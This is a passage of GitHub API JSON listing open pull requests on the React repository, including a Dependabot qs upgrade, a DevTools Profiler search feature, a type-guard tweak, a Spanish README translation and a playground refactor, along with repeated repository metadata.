"MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35506" }, "html": { "href": "https://github.com/facebook/react/pull/35506" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35506" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35506/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35506/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35506/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/45504792ffe78a8ed6cd80235f4e92dd89fbd5ba" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35505", "id": 3171238490, "node_id": "PR_kwDOAJy2Ks69BUJa", "number": 35505, "state": "open", "locked": false, "title": "Bump qs from 6.4.0 to 6.4.1 in /fixtures/packaging/webpack-alias/dev", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [qs](https://github.com/ljharb/qs) from 6.4.0 to 6.4.1.\n
\nChangelog\n

Sourced from qs's changelog.

\n
\n

6.4.1

\n
    \n
  • [Fix] parse: ignore __proto__ keys (#428)
  • \n
  • [Fix] fix for an impossible situation: when the formatter is called with a non-string value
  • \n
  • [Fix] use safer-buffer instead of Buffer constructor
  • \n
  • [Fix] utils.merge: avoid a crash with a null target and an array source
  • \n
  • [Fix] utils.merge: avoid a crash with a null target and a truthy non-array source
  • \n
  • [Fix] stringify: fix a crash with strictNullHandling and a custom filter/serializeDate (#279)
  • \n
  • [Fix] utils: merge: fix crash when source is a truthy primitive & no options are provided
  • \n
  • [Fix] when parseArrays is false, properly handle keys ending in []
  • \n
  • [Robustness] stringify: avoid relying on a global undefined (#427)
  • \n
  • [Refactor] use cached Array.isArray
  • \n
  • [Refactor] stringify: Avoid arr = arr.concat(...), push to the existing instance (#269)
  • \n
  • [readme] remove travis badge; add github actions/codecov badges; update URLs
  • \n
  • [Docs] Clarify the need for "arrayLimit" option
  • \n
  • [meta] fix README.md (#399)
  • \n
  • [meta] Clean up license text so it’s properly detected as BSD-3-Clause
  • \n
  • [meta] add FUNDING.yml
  • \n
  • [actions] backport actions from main
  • \n
  • [Tests] remove nonexistent tape option
  • \n
  • [Dev Deps] backport from main
  • \n
\n
\n
\n
\nCommits\n
    \n
  • 486aa46 v6.4.1
  • \n
  • 727ef5d [Fix] parse: ignore __proto__ keys (#428)
  • \n
  • cd1874e [Robustness] stringify: avoid relying on a global undefined (#427)
  • \n
  • 45e987c [readme] remove travis badge; add github actions/codecov badges; update URLs
  • \n
  • 90a3bce [meta] fix README.md (#399)
  • \n
  • 9566d25 [Fix] fix for an impossible situation: when the formatter is called with a no...
  • \n
  • 74227ef Clean up license text so it’s properly detected as BSD-3-Clause
  • \n
  • 35dfb22 [actions] backport actions from main
  • \n
  • 7d4670f [Dev Deps] backport from main
  • \n
  • 0485440 [Fix] use safer-buffer instead of Buffer constructor
  • \n
  • Additional commits viewable in compare view
  • \n
\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=qs&package-manager=npm_and_yarn&previous-version=6.4.0&new-version=6.4.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-13T20:55:46Z", "updated_at": "2026-01-13T20:59:13Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "2d11950e5eae6a74dd214c693b1cd782f97e5116", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/fixtures/packaging/webpack-alias/dev/qs-6.4.1", "ref": "dependabot/npm_and_yarn/fixtures/packaging/webpack-alias/dev/qs-6.4.1", "sha": "d3583d403af38436ce37ad045f81bc834824ad72", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "3e1abcc8d7083a13adf4774feb0d67ecbe4a2bc4", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35505" }, "html": { "href": "https://github.com/facebook/react/pull/35505" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35505" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35505/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35505/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35505/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/d3583d403af38436ce37ad045f81bc834824ad72" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 4, 2, 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35502", "id": 3169882930, "node_id": "PR_kwDOAJy2Ks688JMy", "number": 35502, "state": "open", "locked": false, "title": "DevTools: Allow searching by component name in Profiler trace", "user": { "login": "kanikaa88", "id": 121865522, "node_id": "U_kgDOB0OFMg", "avatar_url": "https://avatars.githubusercontent.com/u/121865522?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kanikaa88", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\nImplements component name search functionality in the Profiler trace view as requested in #32995.\r\n\r\n## Changes\r\n- Added search state management to `ProfilerContext`\r\n- Created `ProfilerSearchInput` component (similar to `ComponentSearchInput`)\r\n- Integrated search input into Profiler toolbar\r\n- Search only considers components from the selected commit\r\n\r\n## Features\r\n- ✅ Cmd+f / Ctrl+f keyboard shortcut (handled by SearchInput component)\r\n- ✅ Text and regex search support (e.g., `/^Button/`)\r\n- ✅ Result count display (e.g., \"1 | 5\")\r\n- ✅ Navigation between matches (Enter/Shift+Enter or arrow buttons)\r\n- ✅ Auto-selects first matching result\r\n- ✅ Clears when commit changes\r\n- ✅ Only searches the selected commit (not the whole trace)\r\n- ✅ Works in both Flamegraph and Ranked views\r\n\r\n## Implementation Details\r\n- Follows the same pattern as Components panel search\r\n- Search input appears conditionally when:\r\n - Legacy profiler tabs (flame-chart/ranked-chart) are selected\r\n - Commits are recorded\r\n - A commit is selected\r\n- Search filters components recursively through the commit tree\r\n- Uses existing `createRegExp` utility for pattern matching\r\n\r\n## Testing\r\n- ✅ Linting passed\r\n- ✅ Flow type checking passed (dom-node renderer)\r\n- ✅ Tested locally in DevTools shell\r\n- ✅ Follows existing codebase patterns\r\n\r\nFixes #32995", "created_at": "2026-01-13T14:09:08Z", "updated_at": "2026-01-13T14:09:15Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "4cf5e28573830c8e58cc850d7c06307f4b20f7ce", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "kanikaa88:profiler-search-component-name", "ref": "profiler-search-component-name", "sha": "ef9c51694f475c217aebf756cdc18654b4ded875", "user": { "login": "kanikaa88", "id": 121865522, "node_id": "U_kgDOB0OFMg", "avatar_url": "https://avatars.githubusercontent.com/u/121865522?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kanikaa88", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1133524249, "node_id": "R_kgDOQ5A1GQ", "name": "facebook-react", "full_name": "kanikaa88/facebook-react", "private": false, "owner": { "login": "kanikaa88", "id": 121865522, "node_id": "U_kgDOB0OFMg", "avatar_url": "https://avatars.githubusercontent.com/u/121865522?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kanikaa88", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/kanikaa88/facebook-react", "created_at": "2026-01-13T13:18:31Z", "updated_at": "2026-01-13T13:18:31Z", "pushed_at": "2026-01-13T14:04:31Z", "homepage": "https://react.dev", "size": 123598, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "5aec1b2a8d1bcafb43a7ddb64dc37eacad081bea", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35502" }, "html": { "href": "https://github.com/facebook/react/pull/35502" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35502" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35502/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35502/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35502/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/ef9c51694f475c217aebf756cdc18654b4ded875" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 32995 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35491", "id": 3166216818, "node_id": "PR_kwDOAJy2Ks68uKJy", "number": 35491, "state": "open", "locked": false, "title": "Add type guard to objectIs utility", "user": { "login": "asmitha-16", "id": 182529622, "node_id": "U_kgDOCuEuVg", "avatar_url": "https://avatars.githubusercontent.com/u/182529622?v=4", "gravatar_id": "", "url": "https://api.github.com/users/asmitha-16", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "This PR improves the internal objectIs helper by:\r\n- Adding a type guard before comparison\r\n- Preventing unexpected equality across mismatched types\r\n- Improving robustness while preserving existing behavior\r\n", "created_at": "2026-01-12T15:02:42Z", "updated_at": "2026-01-12T15:02:49Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "beb4d0c1ff129a5a1d4e9f0f887db033d1943050", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": {}, "milestone": null, "draft": false, "head": { "label": "asmitha-16:react-fix-1", "ref": "react-fix-1", "sha": "86ff90735533280d9192a1d77db3fe65d7fbecb0", "user": { "login": "asmitha-16", "id": 182529622, "node_id": "U_kgDOCuEuVg", "avatar_url": "https://avatars.githubusercontent.com/u/182529622?v=4", "gravatar_id": "", "url": "https://api.github.com/users/asmitha-16", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1132863093, "node_id": "R_kgDOQ4YedQ", "name": "react", "full_name": "asmitha-16/react", "private": false, "owner": { "login": "asmitha-16", "id": 182529622, "node_id": "U_kgDOCuEuVg", "avatar_url": "https://avatars.githubusercontent.com/u/182529622?v=4", "gravatar_id": "", "url": "https://api.github.com/users/asmitha-16", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/asmitha-16/react", "created_at": "2026-01-12T14:56:15Z", "updated_at": "2026-01-12T14:56:15Z", "pushed_at": "2026-01-12T15:02:13Z", "homepage": "https://react.dev", "size": 123596, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "5aec1b2a8d1bcafb43a7ddb64dc37eacad081bea", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35491" }, "html": { "href": "https://github.com/facebook/react/pull/35491" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35491" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35491/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35491/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35491/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/86ff90735533280d9192a1d77db3fe65d7fbecb0" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35488", "id": 3164698343, "node_id": "PR_kwDOAJy2Ks68oXbn", "number": 35488, "state": "open", "locked": false, "title": "docs: add Spanish translation of README", "user": { "login": "RodrigoSanchezDev", "id": 165536509, "node_id": "U_kgDOCd3i_Q", "avatar_url": "https://avatars.githubusercontent.com/u/165536509?v=4", "gravatar_id": "", "url": "https://api.github.com/users/RodrigoSanchezDev", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "This adds a Spanish (es) translation of the main React README to make it more accessible to Spanish-speaking developers.\r\n\r\nThe translation covers:\r\n- React's declarative approach to building UIs\r\n- Component-based architecture\r\n- Installation guides\r\n- Documentation overview and structure\r\n- Code examples with JSX\r\n- Contribution guidelines\r\n\r\nSpanish is spoken by 500+ million people and is the 2nd most used language on GitHub. This translation will help developers from Latin America, Spain, and other Spanish-speaking regions get started with React more easily.\r\n\r\n\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-12T06:48:20Z", "updated_at": "2026-01-12T07:19:12Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "ea2bbf702d453688050a6cc504077276cf5cc74a", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "RodrigoSanchezDev:docs/add-spanish-readme", "ref": "docs/add-spanish-readme", "sha": "0a6493cffdbc753648686106daa82482e63d81ca", "user": { "login": "RodrigoSanchezDev", "id": 165536509, "node_id": "U_kgDOCd3i_Q", "avatar_url": "https://avatars.githubusercontent.com/u/165536509?v=4", "gravatar_id": "", "url": "https://api.github.com/users/RodrigoSanchezDev", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1132575807, "node_id": "R_kgDOQ4G8Pw", "name": "react", "full_name": "RodrigoSanchezDev/react", "private": false, "owner": { "login": "RodrigoSanchezDev", "id": 165536509, "node_id": "U_kgDOCd3i_Q", "avatar_url": "https://avatars.githubusercontent.com/u/165536509?v=4", "gravatar_id": "", "url": "https://api.github.com/users/RodrigoSanchezDev", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/RodrigoSanchezDev/react", "created_at": "2026-01-12T06:44:30Z", "updated_at": "2026-01-12T06:44:30Z", "pushed_at": "2026-01-12T06:48:05Z", "homepage": "https://react.dev", "size": 881341, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "5aec1b2a8d1bcafb43a7ddb64dc37eacad081bea", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35488" }, "html": { "href": "https://github.com/facebook/react/pull/35488" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35488" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35488/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35488/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35488/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/0a6493cffdbc753648686106daa82482e63d81ca" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35482", "id": 3163118733, "node_id": "PR_kwDOAJy2Ks68iVyN", "number": 35482, "state": "open", "locked": false, "title": "Playground: Refactor messages types and parsing (string enums, readonly)", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\nPlayground: Refactor message types and parsing for stronger typing and robustness\r\nConvert numeric enums to string enums to make runtime values explicit.\r\nMake Message fields readonly and codeframe optional to express data intent.\r\nNormalize message parsing to handle CRLF and trailing whitespace and to treat empty bodies as no codeframe\r\nConfine changes to the playground to reduce risk to core packages.\r\n\r\n## How did you test this change?\r\n\r\nManual smoke test (playground UI): start the playground and exercise message flows:\r\nSend a single-line message → expect title populated and no codeframe\r\nSend a multi-line message with trailing spaces → expect title to be first line (trimmed) and codeframe to contain trimmed remaining lines.\r\nSend a CRLF message (\\r\\n) → expect codeframe normalized to LF (\\n).\r\nVerify UI: icon matches level, codeframe displays in 